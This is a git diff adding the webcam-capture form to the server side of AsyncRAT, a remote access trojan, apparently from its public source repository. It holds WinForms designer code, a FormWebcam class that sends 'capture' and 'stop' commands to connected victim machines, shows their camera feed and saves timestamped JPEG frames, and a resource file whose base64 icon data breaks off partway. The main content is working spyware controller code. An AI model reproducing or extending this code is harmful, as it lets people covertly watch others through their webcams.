this.pictureBox1.Size = new System.Drawing.Size(799, 532);
|
||||||
|
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||||
|
this.pictureBox1.TabIndex = 5;
|
||||||
|
this.pictureBox1.TabStop = false;
|
||||||
|
//
|
||||||
|
// timer1
|
||||||
|
//
|
||||||
|
this.timer1.Interval = 1000;
|
||||||
|
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||||
|
//
|
||||||
|
// timerSave
|
||||||
|
//
|
||||||
|
this.timerSave.Interval = 1000;
|
||||||
|
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
|
||||||
|
//
|
||||||
|
// labelWait
|
||||||
|
//
|
||||||
|
this.labelWait.AutoSize = true;
|
||||||
|
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
|
this.labelWait.Location = new System.Drawing.Point(319, 273);
|
||||||
|
this.labelWait.Name = "labelWait";
|
||||||
|
this.labelWait.Size = new System.Drawing.Size(78, 29);
|
||||||
|
this.labelWait.TabIndex = 6;
|
||||||
|
this.labelWait.Text = "Wait...";
|
||||||
|
//
|
||||||
|
// label1
|
||||||
|
//
|
||||||
|
this.label1.AutoSize = true;
|
||||||
|
this.label1.Location = new System.Drawing.Point(374, 10);
|
||||||
|
this.label1.Name = "label1";
|
||||||
|
this.label1.Size = new System.Drawing.Size(78, 20);
|
||||||
|
this.label1.TabIndex = 8;
|
||||||
|
this.label1.Text = "QUALITY";
|
||||||
|
//
|
||||||
|
// numericUpDown1
|
||||||
|
//
|
||||||
|
this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||||
|
this.numericUpDown1.Enabled = false;
|
||||||
|
this.numericUpDown1.Increment = new decimal(new int[] {
|
||||||
|
10,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
this.numericUpDown1.Location = new System.Drawing.Point(458, 8);
|
||||||
|
this.numericUpDown1.Minimum = new decimal(new int[] {
|
||||||
|
20,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
this.numericUpDown1.Name = "numericUpDown1";
|
||||||
|
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
|
||||||
|
this.numericUpDown1.TabIndex = 7;
|
||||||
|
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||||
|
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
||||||
|
this.numericUpDown1.Value = new decimal(new int[] {
|
||||||
|
50,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
//
|
||||||
|
// FormWebcam
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new System.Drawing.Size(799, 573);
|
||||||
|
this.Controls.Add(this.labelWait);
|
||||||
|
this.Controls.Add(this.pictureBox1);
|
||||||
|
this.Controls.Add(this.panel1);
|
||||||
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
|
this.Name = "FormWebcam";
|
||||||
|
this.Text = "FormWebcam";
|
||||||
|
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormWebcam_FormClosed);
|
||||||
|
this.panel1.ResumeLayout(false);
|
||||||
|
this.panel1.PerformLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
private System.Windows.Forms.Panel panel1;
|
||||||
|
public System.Windows.Forms.ComboBox comboBox1;
|
||||||
|
public System.Windows.Forms.PictureBox pictureBox1;
|
||||||
|
public System.Windows.Forms.Button btnSave;
|
||||||
|
public System.Windows.Forms.Button button1;
|
||||||
|
public System.Windows.Forms.Timer timer1;
|
||||||
|
private System.Windows.Forms.Timer timerSave;
|
||||||
|
public System.Windows.Forms.Label labelWait;
|
||||||
|
private System.Windows.Forms.Label label1;
|
||||||
|
public System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||||
|
}
|
||||||
|
}
|
124
AsyncRAT-C#/Server/Forms/FormWebcam.cs
Normal file
124
AsyncRAT-C#/Server/Forms/FormWebcam.cs
Normal file
@ -0,0 +1,124 @@
|
|||||||
|
using Server.MessagePack;
|
||||||
|
using Server.Connection;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Data;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Server.Forms
|
||||||
|
{
|
||||||
|
public partial class FormWebcam : Form
|
||||||
|
{
|
||||||
|
public Form1 F { get; set; }
|
||||||
|
internal Clients Client { get; set; }
|
||||||
|
internal Clients ParentClient { get; set; }
|
||||||
|
public string FullPath { get; set; }
|
||||||
|
|
||||||
|
public Stopwatch sw = Stopwatch.StartNew();
|
||||||
|
public Stopwatch RenderSW = Stopwatch.StartNew();
|
||||||
|
public int FPS = 0;
|
||||||
|
public bool SaveIt = false;
|
||||||
|
public FormWebcam()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (button1.Tag == (object)"play")
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||||
|
msgpack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex;
|
||||||
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
|
button1.Tag = (object)"stop";
|
||||||
|
button1.BackgroundImage = Properties.Resources.stop__1_;
|
||||||
|
numericUpDown1.Enabled = false;
|
||||||
|
comboBox1.Enabled = false;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
button1.Tag = (object)"play";
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "stop";
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
|
button1.BackgroundImage = Properties.Resources.play_button;
|
||||||
|
btnSave.BackgroundImage = Properties.Resources.save_image;
|
||||||
|
numericUpDown1.Enabled = true;
|
||||||
|
comboBox1.Enabled = true;
|
||||||
|
timerSave.Stop();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
|
}
|
||||||
|
|
||||||
|
private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Client?.Disconnected();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
private void BtnSave_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (button1.Tag == (object)"stop")
|
||||||
|
{
|
||||||
|
if (SaveIt)
|
||||||
|
{
|
||||||
|
SaveIt = false;
|
||||||
|
//timerSave.Stop();
|
||||||
|
btnSave.BackgroundImage = Properties.Resources.save_image;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
btnSave.BackgroundImage = Properties.Resources.save_image2;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (!Directory.Exists(FullPath))
|
||||||
|
Directory.CreateDirectory(FullPath);
|
||||||
|
Process.Start(FullPath);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
SaveIt = true;
|
||||||
|
// timerSave.Start();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void TimerSave_Tick(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (!Directory.Exists(FullPath))
|
||||||
|
Directory.CreateDirectory(FullPath);
|
||||||
|
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
583
AsyncRAT-C#/Server/Forms/FormWebcam.resx
Normal file
583
AsyncRAT-C#/Server/Forms/FormWebcam.resx
Normal file
@ -0,0 +1,583 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>17, 17</value>
|
||||||
|
</metadata>
|
||||||
|
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>131, 17</value>
|
||||||
|
</metadata>
|
||||||
|
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||||
|
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>
|
||||||
|
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
|
||||||
|
AP/afAD/x3MA/8NxAP/DcQD/w3EA/8JvAP/CbwD/wm8A/MNxAMfDcQBZw3EADMNxAADDcQAA3X0AAN19
|
||||||
|
AADdfQBh3X0A9d5/BP/mn0P/6apZ/+WdP//dfgP/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EB/9GR
|
||||||
|
O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
|
||||||
|
2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
|
||||||
|
AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
|
||||||
|
AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
|
||||||
|
AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
|
||||||
|
AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
|
||||||
|
wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
|
||||||
|
ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
|
||||||
|
x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
|
||||||
|
Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
|
||||||
|
AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
|
||||||
|
Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
|
||||||
|
/P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
|
||||||
|
AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
|
||||||
|
AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
|
||||||
|
tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
|
||||||
|
DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
|
||||||
|
AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
|
||||||
|
AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
|
||||||
|
AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
|
||||||
|
AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
|
||||||
|
AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
|
||||||
|
AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
|
||||||
|
ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
|
||||||
|
AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
|
||||||
|
AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
|
||||||
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
|
||||||
|
AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
|
||||||
|
AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
|
||||||
|
AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
|
||||||
|
AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
|
||||||
|
Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
|
||||||
|
a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
|
||||||
|
AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
|
||||||
|
AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
|
||||||
|
